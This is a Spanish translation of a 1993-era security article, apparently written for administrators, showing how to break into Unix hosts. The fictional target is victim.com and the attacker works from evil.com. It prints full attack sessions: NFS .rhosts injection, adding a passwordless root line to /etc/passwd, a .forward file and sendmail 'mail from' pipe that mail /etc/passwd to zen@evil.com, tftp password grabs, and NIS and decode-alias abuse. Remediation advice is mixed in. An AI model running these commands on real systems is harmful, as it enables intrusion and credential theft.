|
| |
Ueberhacker. Intrusos en el sistema (Cap. 2)
Mientras exploramos los metodos y estrategias que se discuten en este texto
vamos a hablar del SATAN ( Security Analysis Tool for Auditing Networks ).
Escrito en shell, perl, expect y C, examina un host o sets de hosts remotos
y recoge tanta informacion como sea posible explorando remotamente NIS,
finger, NFS, ftp y tftp, rexd, y otros servicios. Esta informacion incluye
la presencia de varios servicios de informacion de red asi como de defectos
potenciales de seguridad - normalmente en la forma de errores en el setup o
en la configuracion de los servicios de red, bugs tipicos en las utilidades
del sistema o red, o bien decisiones tacticas pobres o ignorantes. Entonces
puede bien informar sobre estos datos o usar un sistema experto para
investigar mas adelante cualquier problema potencial de seguridad.
Mientras el SATAN no usa todos los metodos discutdos en este texto, ha
triunfado con "amenazadora" regularidad a la hora de encontrar serios
agujeros de seguridad en sites de Internet. Sera posteado y estara
disponible via FTP anonimo cuando este completado; El apendice A cubre
sus caracteristicas mas destacadas.
Observar que no es posible cubrir todos los metodos posibles de irrumpir en
los sistemas en un solo texto. De hecho, no vamos a mencionar dos de los
metodos mas efectivos de irrupcion en hosts remotos: social engineering (
ingenieria social) y password cracking (crackear passwords). Este ultimo
metodo es tan efectivo, sin embargo, que varias de las estrategias
presentadas aquí estan basadas en la obtencion de archivos de passwords.
Adicionalmente, mientras los sitemas basados en ventanas (X, OpenWindows,
etc..) pueden proveer una "tierra fertil" para la
irrupcion/violacion/explotacion, simplemente no sabemos muchos metodos
usados para irrumpir en sistemas remotos. Muchos crackers de sistemas usan
terminales non-bitmapped que les pueden prevenir de usar algunos de los
metodos de explotacion efectiva mas interesantes para sistemas basados en
ventanas (aunque el ser capaz de ver/monitorizar el teclado de la victima
es normalmente suficiente para pillar passwords). Finalmente, mientras
gusanos, virus, caballos de troya, y demas movidas son muy interesantes, no
son comunes ( en sistemas basados en UNIX) y probablemente usan tecnicas
muy similares a las descritas en este documento como partes individuales de
su estrategia de ataque.
Ganando Informacion
Asumamos que tu eres el administrador de sistema de "Victim Incorporated's
network of Unix workstations". En un esfuerzo por proteger tus maquinas, le
pides a un colega administrador de sistema de un site cercano (evil.com)
que te de una cuenta en una de sus maquinas para asi poder ver la seguridad
de tu propio sistema desde el exterior.
Que deberias hacer? Lo primero, tratar de recoger informacion sobre tu
blanco, tu host. Hay un monton de servicios de red en los que mirar:
finger, showmount y rpcinfo son buenos puntos de partida.
Pero no te pares ahi - debes tambien utilizar DNS, whois, sendmail (smtp),
ftp, uucp, y tantos otros servicios como puedas encontrar. Hay tantos
metodos y tecnicas que el espacio nos impide enseñaros todos, pero
trataremos de enseñar una representativa de las estrategias mas comunes y/o
peligrosas que hemos visto o que se nos han ocurrido.
Idealmente, podrias recoger dicha informacion sobre todos los hosts en la
subred o area de ataque - la informacion es poder - pero por ahora
examinaremos solo nuestra victima/blanco en cuestion.
Para comenzar, miraremos lo que el comando finger nos ha reportado.
(imagina que son las 6pm, 6 Noviembre, 1993):
victim % finger @victim.com
[victim.com]
Login Name TTY Idle When Where
zen Dr. Fubar co 1d Wed 08:00 death.com
Bien! Un solo usuario inactivo - se supone que nadie va a notar si intentas
irrumpir dentro.
Ahora intentas mas tacticas. Como todos los devotos del finger sabran,
hacer finger "@", "0", y "", asi como a nombre comunes, como root, bin,
ftp, system, guest, demo, manager, etc…, puede revelar informacion
interesante. Lo que esa informacion sea depende de la version de finger que
tu victima este usando, pero la mas importante son nombres de cuentas,
conjuntamente con sus home directories y el ultimo host desde el que se
conectaron.
Para añadir a esta informacion, puedes tambien usar rusers (en particular
con la extension -l ) para pillar informacion valiosa sobre usuarios
conectados.
Usando estos comandos en victim.com nos da la siguiente informacion,
presentada de forma tabulada comprimida para ahorrar espacio:
Login Home-dir Shell Last login, from where
root / /bin/sh Fri Nov 5 07:42 on ttyp1 from big.victim.com
bin /bin Never logged in
nobody / Tue Jun 15 08:57 on ttyp2 from server.victim.co
daemon / Tue Mar 23 12:14 on ttyp0 from big.victim.com
sync / /bin/sync Tue Mar 23 12:14 on ttyp0 from big.victim.com
zen /home/zen /bin/bash On since Wed Nov 6 on ttyp3 from death.com
sam /home/sam /bin/csh Wed Nov 5 05:33 on ttyp3 from evil.com
guest /export/foo /bin/sh Never logged in
ftp /home/ftp Never logged in
Tanto nuestros experimentos con el SATAN como el ver en funcionamiento
system crackers nos ha demostrado que el finger es uno de los servicios mas
peligrosos, por su valor a la hora de investigar una victima potencial. De
todas formas, mucha de esta informacion solamente es valiosa usada
conjuntamente con otros datos.
Por ejemplo, ejecutando showmount (informacion sobre el montaje de un
servidor)en tu victima nos revela lo siguiente:
evil % showmount -e victim.com
export list for victim.com:
/export (everyone)
/var (everyone)
/usr easy
/export/exec/kvm/sun4c.sunos.4.1.3 easy
/export/root/easy easy
/export/swap/easy easy
Notar que /export/foo esta "exportado al mundo"; tambien fijaros que este
es el home directory del usuario "guest". Es hora de tu primera intrusion!
En este caso, montaras el home directoy del usuario "guest". Como no tienes
la cuenta correspondiente en esa maquina y como root no puede modificar
archivos en un sistema de archivos NFS, creas una cuenta "guest" en tu
archivo de password local. Como usuario "guest" puedes colocar una ".rhosts
entry" en el guest home directory remoto, que te permitira acceder a dicha
maquina sin tener que dar ningun password.
evil # mount victim.com:/export/foo /foo
evil # cd /foo
evil # ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 10001 daemon 1024 Aug 3 15:49 guest
evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
evil # ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 guest daemon 1024 Aug 3 15:49 guest
evil # su guest
evil % echo evil.com >> guest/.rhosts
evil % rlogin victim.com
Welcome to victim.com!
victim %
Si, en lugar de home directories, victim.com exportara sistemas de archivos
con comandos de usuario (como , /usr o /usr/local/bin), podrias reemplazar
un comando por un caballo de troya que ejecutara cualquier comando de tu
eleccion. El siguiente usuario en ejecutar dicho comando ejecutaria tu
programa
Sugerimos que se exporten estos sistemas de archivos:
Lectura/excritura solo a clientes especificos y de confianza
Solo-lectura, donde sea posible (datos o programas pueden ser exportados
de esta forma)
Si la victima tiene un "+" wildcard en su /etc/hosts.equiv (por defecto en
varias maquinas) o tiene el netgroups bug , cualquier usuario no root con
un login en el fichero de passwords de la victima puede hacer un rlogin
(login remoto) a la victima sin necesidad de password. Y como el usuario
"bin" normalmente tiene ficheros llave y directorios, tu siguiente ataque
es el de tratar de acceder en el host de la victima y modificar el fichero
de passwords para permitirte tener acceso "root":
evil % whoami
bin
evil % rsh victim.com csh -i
Warning: no access to tty; thus no job control in this shell...
victim % ls -ldg /etc
drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc
victim % cd /etc
victim % mv passwd pw.old
victim % (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) >
passwd
victim % ^D
evil % rlogin victim.com -l toor
Welcome to victim.com!
victim #
Unas pocas notas sobre el metodo usado arriba; "rsh victim.com csh -i" se
usa para inicialmente entrar en el sistema ya que no deja ningun rastro en
los ficheros wtmp o utmp, haciendo el comando rsh invisible para el finger
y el who. El shell remoto no esta unido a un pseudo-terminal, asi que los
prgramas tipo pagers y editores fallaran - pero es de gran utilidad para
una breve exploracion.
La utilidad de seguridad COPS (ver apendice D) informara de archivos o
directorios que son "escribibles" a otras cuentas aparte de la
superuser.
Si usas SunOS 4.x puedes aplicar el patch 100103 para arreglar muchos de
los problemas de permisos de ficheros. En muchos sistemas, rsh lo prueba en
lo expuesto arriba, aun cuando tenga éxito, seguira siendo completamente
innotificable; el tcp wrapper (apendice D), que "logea" conexiones
entrantes, puede ayudar a desenmascarar dichas actividades.
---
Y ahora que? Has destapado ya todos los agujeros del sistema-victima?
Volviendo a los resultados dados por el finger en nuestra victima, te das
cuenta de que tiene una cuenta "ftp", que normalmente significa que se
puede hacer ftp anonimo. Ftp anonimo puede ser una forma facil de conseguir
acceso, ya que esta muchas veces mal configurado. Por ejemplo, la victima
debe de tener una copia completa del fichero /etc/passwd en su ftp anonimo
-ftp/etc en vez de una version reducida. En este ejemplo, sin embargo,
puedes ver que este ultimo no parece ser el verdadero (como puedes
afirmarlo sin haber examinado el archivo?) Sin embargo, el home directory
de "ftp" en victim.com es escribible. Esto te permite ejecutar comandos
remotamente - en este caso, mandarte el archivo por mail a ti mismo - por
el simple metodo de crear un archivo .forward que ejecuta un comando cuando
un mail es mandado a la cuenta "ftp".
evil % cat forward_sucker_file
"|/bin/mail zen@evil.com < /etc/passwd"
evil % ftp victim.com
Connected to victim.com
220 victim FTP server ready.
Name (victim.com:zen): ftp
331 Guest login ok, send ident as password.
Password:
230 Guest login ok, access restrictions apply.
ftp> ls -lga
200 PORT command successful.
150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
total 5
drwxr-xr-x 4 101 1 512 Jun 20 1991 .
drwxr-xr-x 4 101 1 512 Jun 20 1991 ..
drwxr-xr-x 2 0 1 512 Jun 20 1991 bin
drwxr-xr-x 2 0 1 512 Jun 20 1991 etc
drwxr-xr-x 3 101 1 512 Aug 22 1991 pub
226 ASCII Transfer complete.
242 bytes received in 0.066 seconds (3.6 Kbytes/s)
ftp> put forward_sucker_file .forward
43 bytes sent in 0.0015 seconds (28 Kbytes/s)
ftp> quit
evil % echo test | mail ftp@victim.com
Ahora simplemente tienes que esperar a que el fichero de passwords te sea
enviado.
La herramienta de seguridad COPS chequeara el setup de tu ftp anonimo;
mirar la documentacion man sobre ftpd, la documetacion/codigo de COPS, o el
CERT advisory 93:10 para recoger informacion acerca de como establecer
(setup, por si hay dudas) ftp anonimo correctamente.
Vulnerabilidades en el ftp son normalmente cusetion de una posesion
incorrecta o de los permisos de archivos y directorios. Al menos, estate
seguro de que -ftp y todos los directorios y ficheros "system" por debajo
de -ftp son de root y que no tienen privilegios de escritura para ningun
usuario.
Examinando ftp, puedes probar un viejo bug que en su dia fue bastamente
explotado:
% ftp -n
ftp> open victim.com
Connected to victim.com
220 victim.com FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd ~root
530 Please login with USER and PASS.
ftp> quote pass ftp
230 Guest login ok, access restrictions apply.
ftp> ls -al / (o lo que sea)
Si esto funciona, estaras dentro como root, y con capacidad para modificar
el fichero passwd, o lo que desees. Si tu sistema tiene este bug, tienes
que conseguir un update de tu ftpd daemon, ya sea de tu vendedor o por ftp
anonimo en ftp.uu.net.
El wuarchive ftpd, un conocido "recambio" del ftp daemon dado por la
Washington University in Saint Louis, tenia casi el mismo problema. Si tu
wuarchive ftpd es anterior a Abril de 1993, deberias reemplazarlo por una
version mas reciente.
hay un programa similar a ftp - tftp, o trivial file transfer
program. Este daemon no necesita de ningun password para autentificacion;
si un host provee de tftp sin restringir el acceso (normalmente mediante
algun flag seguro puesto en el archivo inetd.conf), un atacante podria leer
y escribir archivos en cualquier lugar del sistema. En el ejemplo, pillas
el fichero passwd y se pone en tu directorio /tmp local:
evil % tftp
tftp> connect victim.com
tftp> get /etc/passwd /tmp/passwd.victim
tftp> quit
Por el bien de la seguridad, tftp no deberia de ejecutarse; si tftp es
necesario, utiliza la opcion/flag segura para restringir el acceso a un
directorio que contenga informacion sin valor, o ejecutalo bajo el control
de un programa chroot wrapper.
-----
Si ninguno de los metodos anteriores ha funcionado, es hora de tomar
medidas mas drasticas. Tu nuevo amigo es rpcinfo, otro programa de gran
utilidad, muchas veces incluso mas practico que el finger. Muchos hosts
tienen servicios RPC que pueden ser explotados; rpcinfo puede hablar con el
portmapper y enseñarte el camino. Puede decirte si el host esta usando NIS,
si es un servidor o esclavo NIS, si hay una estacion de trabajo sin
disquetera por ahi, si esta usando NFS, cualquiera de los servicios de info
(rusersd, rstatd, etc..), o cualquier otro programa inusual (relacionados
con logs y seguridad). Por ejemplo, volviendo a nuestra victima:
evil % rpcinfo -p victim.com
program vers proto port
100004 2 tcp 673 ypserv
100005 1 udp 721 mountd
100003 2 udp 2049 nfs
100026 1 udp 733 bootparam
100017 1 tcp 1274 rexd
En este caso, puedes ver varios datos significativos sobre nuestra victima;
el primero de los cuales es que es un servidor NIS. Puede que no sea muy
sabido, pero una vez que se conoce el nombre de dominio NIS de un servidor,
puedes tener cualquiera de sus mapas NIS con una simple orden rpc, incluso
cuando estas fuera de la subred del servidor NIS (por ejemplo, usando el
programa YPX que se puede encontrar en los archivos comp.sources.misc en
ftp.uu.net). Adicionalmente, tanto como los facilmente adivinables
passwords, muchos sistemas usan nombres de dominio NIS facilmente
adivinables. Tratar de adivinar el nombre de dominio NIS es normalmente
provechoso/fructifero. Los mayores candidatos son los nombres del host en
forma parcial y total (e.g. "victim" and "victim.com", el nombre de la
organización, nombres del grupo dados por el comando "showmount", y
demas.
Si quisieras probar si el nombre de dominio fuera "victim", teclearias:
evil % ypwhich -d victim victim.com
Domain victim not bound.
Como se ve este fue un intento sin éxito; si huiera sido correcto "victim",
nos habria dado un mensaje con el nombre de host del servidor NIS. De todas
formas, fijaros de la seccion NFS que victim.com esta exportando el
directorio "/var" al mundo. Todo lo que se necesita es montar dicho
directorio y mirar en el subdirectorio "yp" - entre otras cosas veras otro
subdirectorio que contiene el nombre de dominio de la victima.
evil # mount victim.com:/var /foo
evil # cd /foo
evil # /bin/ls -alg /foo/yp
total 17
1 drwxr-sr-x 4 root staff 512 Jul 12 14:22 .
1 drwxr-sr-x 11 root staff 512 Jun 29 10:54 ..
11 -rwxr-xr-x 1 root staff 10993 Apr 22 11:56 Makefile
1 drwxr-sr-x 2 root staff 512 Apr 22 11:20 binding
2 drwxr-sr-x 2 root staff 1536 Jul 12 14:22 foo_bar
[...]
En este caso "foo_bar" es el nombre de dominio del NIS.
Adicionalmente, los mapas NIS contienen normalmente una buena lista de
nombres de usuarios/empleados asi como listas de hosts internos, por no
mencionar passwords para crackear.
El apendice C detalla los resultados de un caso practico sobre archivos de
passwords NIS.
-----
Puedes observar que la respuesta dada por el comando rpcinfo mostraba que
victim.com usaba rexd. Como el rsh daemon, rexd procesa peticiones del tipo
"por favor ejecuta este comando como ese usuario (como siendo ese
usuario)". A diferencia de rshd, rexd no tiene en cuenta si el host cliente
esta o no en los archivos hosts.equiv o .rhost. Normalmente el programa
rexd cliente es el comando "on", pero tan solo es necesario un pequeño
programa en C para mandar informacion arbitraria sobre el host y userid
cliente al servidor rexd; rexd ejecutara tan contento el comando. Por estas
razones, ejecutar rexd es similar a no tener passwords: toda la seguridad
esta en el cliente, no en el servidor que es donde deberia. La seguridad
del rexd puede ser mejorada de alguna manera usando un RPC seguro.
-----
bservando de nuevo la respuesta de rpcinfo, puedes observar que victim.com
parece ser un server para estaciones de trabajo sin disqueteras. Esto se
evidencia debido a la presencia del servicio bootparam, que provee
informacion a los clientes sin disquetera para el arranque. Si lo preguntas
correctamente, usando BOOTPARAMPROC_WHOAMI y dando la direccion de un
cliente, puedes obtener su nombre de dominio NIS. Esto puede ser de gran
utilidad cuando es combiando con el hecho de que puedes conseguir mapas NIS
arbitrarios (como el fichero password) cuando sabes el nombre de dominio.
Aquí va un ejemplo de codigo para hacer justo eso:
char *server;
struct bp_whoami_arg arg; /* query */
struct bp_whoami_res res; /* reply */
/* initializations omitted... */
callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI,
xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);
printf("%s has nisdomain %s\n", server, res.domain_name);
El resultado del comando showmount indicaba que "easy" es un cliente sin
disquetera de victim.com, asi que usamos su direccion de cliente en el
query BOOTPARAMPROC_WHOAMI:
evil % bootparam victim.com easy.victim.com
victim.com has nisdomain foo_bar
-----
Los NIS masters controlan los alias del mail para el dominio NIS en
cuestion. Como en los ficheros de alias de mail locales, puedes crear un
mail alias que ejecutara comandos cuando el mail le es mandado(un ejemplo
popular de esto es el alias "decode" que "uudecodea" archivos mail que le
son mandados). Por ejemplo, aquí creas un alias "foo", que mailea el
fichero password de vuelta a evil.com simplemente maileandole cualquier
mensaje:
nis-master # echo 'foo: "|mail zen@evil.com< /etc/passwd "' >> /etc/aliases
nis-master # cd /var/yp
nis-master # make aliases
nis-master # echo test | mail -v foo@victim.com
Por suerte los atacantes no tendran control de tu NIS master host, pero mas
aun laa leccion esta clara - NIS normalmente no es seguro, pero si un
atacante se hace con el control de tu NIS master, efectivamente tendra de
los hosts clientes(por ejemplo podra ejecutar comandos arbitarrios).
No hay demasiadas defensas contra estos ataques; es un servicio inseguro
que casi no tiene autentificacion entre clientes y servers. Para mas INRI,
parece claro que se pueden forzar mapas aleatorios incluso en servidores
maestros (ej, es posible tratar a un servidor NIS como si fuera un
cliente). Obviamente, esto echaria abajo todos los esquemas. Ni es
absolutamente necesario usar NIS, el usar un nombre de dominio dificil de
adivinar facilitaria mucho las cosas, pero si usas clientes sin disquetera
que estan expuestos a atacantes en potencia, entonces es insignifante para
este atacante el sobrepasar este simple paso haciendo uso del truco del
bootparam para conseguir el nombre de dominio. Si el NIS es usado para
propagar los mapas de passwords, entonces los shadowed passwords no ofrecen
ningun tipo de proteccion adicional ya que el mapa shadow seria aun
accesible para cualquier atacante que fuera root en un host de ataque.
Lo mehjor es usar NIS lo menos posible, o por lo menos darse cuenta de que
los mapas pueden ser objeto de lectuta por fuerzas potencialmente hostiles.
El tener un protocolo RPC seguro disminuye en gran medida la amenaza, pero
tiene sus propios problemas, principalmente en que es dificil de
administrar, pero tambien en que los metodos de criptologia usados no son
muy poderosos. Hay rumores de que NIS+, el nuevo servicio de informacion de
red de Sun, soluciona alguno de los problemas, pero hasta ahora se ha
limitado a correr bajo Suns.
Finalmente, el usar filtrado de paquetes(packet filtering)en el puerto 111
o securelib (ver apendice D), o, para Suns, aplicar el parche 100482-02 de
Sun, puede tambien ayudar.
-----
El portmapper (mapeador de puertos) solo sabe de servicios RPC. Otros
servicios de red pueden ser localizados con el metodo de fuerza bruta que
conecta a todos los puertos de la red. Muchas utilidades de red y sistemas
basados en ventanas "escuchan" en puertos especificos (ej, sendmail esta en
el puerto 25, telnet en el 23, X windows normalmente esta en el 6000, etc).
SATAN incluye un programa que escanea los puertos de un host remoto e
informa lo que ha encontrado; si lo ejecutaras contra nuestra victima
verias lo siguiente:
evil % tcpmap victim.com
Mapping 128.128.128.1
port 21: ftp
port 23: telnet
port 25: smtp
port 37: time
port 79: finger
port 512: exec
port 513: login
port 514: shell
port 515: printer
port 6000: (X)
Esto sugiere que victim.com esta corriendo X windows. Si no esta
correctamente protegido (por via de la cookie magica,magic cookie, o por
mecanismos xhost), el contenido de las ventanas podria capturarse u
observarse, lo que teclean los usuarios robado, ejecutar programas
remotamente, etc. Tambien, si la victima esta usando X windows y acepta un
telnet por el puerto 6000 (X), esto podria ser usado para un ataque de
denegacion de servicio (denial of service attack), ya que el sistema de
ventanas de la victima se suele mantener "congelado" por unos
instantes. Un
metodo para determinar la vulnerabilidad de un servidor X (corriendo X
windows) es el de conectarse al mismo por medio de la funcion
XOpenDisplay(); si esta nos da como resultado NULL entonces no puedes
acceder al display de la victima (opendisplay es parte de SATAN):
char *hostname;
if (XOpenDisplay(hostname) == NULL) {
printf("Cannot open display: %s\n", hostname);
} else {
printf("Can open display: %s\n", hostname);
}
evil % opendisplay victim.com:0
Cannot open display: victim.com:0
Los terminales X, aunque mucho menos potentes que un sistema UNIX completo,
pueden tener sus propios problemas de seguridad. Muchos terminales X
permiten accesos rsh no restringidos, permitiendote iniciar programas
clientes X en el terminal de la victima apareciendo los resultados en tu
propia pantalla:
evil % xhost +xvictim.victim.com
evil % rsh xvictim.victim.com telnet victim.com -display evil.com
En cualquier caso, dale la misma importancia a la seguridad de tu sistema
de ventanas, como a la de tu sistema de archivos y utilidades de red, ya
que si no puede comprometer tu sistema igual que un "+" en el host.equiv o
una cuenta root sin password.
Lo siguiente es examinar el sendmail. Sendmail es un programa muy complejo
que tiene un largo historial de problemas de seguridad, incluyendo el
infame comando "wiz" (por suerte hace mucho que se deshabilito en todas las
maquinas). A menudo puedes determinar el sistema operativo, a veces hasta
la version, de la victima, mirando al numero de version de sendmail. Esto,
nos puede dar pistas acerca de como de vulnerable sera a cualquiera de los
muchos bugs. Adicionalmente, puedes ver si usan el alias "decode", que
posee su propio set de problemas:
evil % telnet victim.com 25
connecting to host victim.com (128.128.128.1.), port 25
connection open
220 victim.com Sendmail Sendmail 5.55/victim ready at Fri,6 Nov 93 18:00
PDT
expn decode
250 <"|/usr/bin/uudecode">
quit
El usar el alias "decode" es un riesgo de seguridad - permite a los
atacantes en potencia sobreescribir cualquier fichero que fuese escribible
por el poseedor de ese alias - a menudo un daemon, pero potencialmente
cualquier usuario. Considera este trozo de mail - esto pondra a "evil.com"
en el archivo .rhost del usuario zen si es que fuera escribible.
evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail
decode@victim.com
Si no se conocen o no hay home directories escribibles, una interesante
variacion de esto sera la creacion de un archivo /etc/aliases.pag falso que
contenga un alias con un comando que quieras ejecutar en tu victima. Esto
puede funcionar debido a que en muchos sistemas los archivos aliases.pag y
aliases.dir, que controlan los alias de mail del sistema, son escribibles
para todo el mundo.
evil % cat decode
bin: "| cat /etc/passwd | mail zen@evil.com"
evil % newaliases -oQ/tmp -oA`pwd`/decode
evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com
evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null
Se pueden encontrar muchas cosas simplemente preguntando a sendmail si una
direccion es aceptable (vrfy), o hasta donde se expande una direccion
(expn). Cuando los servicios de finger o rusers se desabilitan, vrfy y expn
pueden todavia ser usados para identificar cuentas de usuarios. Vrfy y expn
pueden tambien ser usados para descubrir si el usuario esta ejecutando mail
por medio de cualquier programa susceptible de ser explotado (ej, vacation,
mail sorters, etc.). Puede ser una buena idea el desabilitar los comandos
vrfy y expn: en la mayoria de las versiones, mira en el codigo fuente del
archivo srvrsmtp.c, y o bien borra o cambia las dos lineas de la estructura
CmdTab que tengan los strings "vrfy" y "expn". Sites sin codigo pueden
tambien desabilitarlos simplemente editando el ejecutable del sendmail con
un editor binario y reemplazando "vrfy" y "expn" por espacios en
blanco.
El adquirir una version reciente del sendmail (ver apendice D) es tambien
una gran idea, puesto que ha habido mas informes sobre bugs en el sendmail
que encualquier otro programa UNIX.
os bugs muy conocidos que deben ser tratados. El primero fue
definitivamente arreglado en la version 5.59 de Berkeley; a pesar de los
mensajes de abajo, para versiones de sendmail previas a la 5.59, "evil.com"
se añade, a pesar de los mensajes de error, junto con los tipicos headers
del mail, al archivo especificado:
% cat evil_sendmail
telnet victim.com 25 << EOSM
rcpt to: /home/zen/.rhosts
mail from: zen
data
random garbage
.
rcpt to: /home/zen/.rhosts
mail from: zen
data
evil.com
.
quit
EOSM
evil % /bin/sh evil_sendmail
Trying 128.128.128.1
Connected to victim.com
Escape character is '^]'.
Connection closed by foreign host.
evil % rlogin victim.com -l zen
Welcome to victim.com!
victim %
El segundo agujero, recientemente solucionado, permitia a cualquiera
especificar comandos arbitrarios de shell y/o caminos de ruta para el
remitente y/o direccion de destino. Los intentos por mantener los detalles
en secreto fueron en vano, y extensas discusiones en listas de correo o
grupos de news de usenet llevaron a revelar como explotar los bugs de
algunas versiones. Como en muchos bugs de UNIX, casi todas las
distribuciones de sendmail eran vulnerables al problema, ya que todas
compartian un ancestral codigo fuente comun. El espacio nos impide
discutirlo en su totalidad, pero un tipico ataque para conseguir el fichero
de passwords seria de la siguiente manera:
evil % telnet victim.com 25
Trying 128.128.128.1...
Connected to victim.com
Escape character is '^]'.
220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
mail from: "|/bin/mail zen@evil.com < /etc/passwd"
250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok
rcpt to: nosuchuser
550 nosuchuser... User unknown
data
354 Enter mail, end with "." on a line by itself
.
250 Mail accepted
quit
Connection closed by foreign host.
evil %
Mientras escribiamos esto, se informa que la version 8.6.4 de sendmail (ver
apendice D para informacion sobre como conseguirlo) es la unica variante
del sendmail con todos los bugs recientes corregidos (ni de coña J).
Mas, mas. Quiero saber mas.
|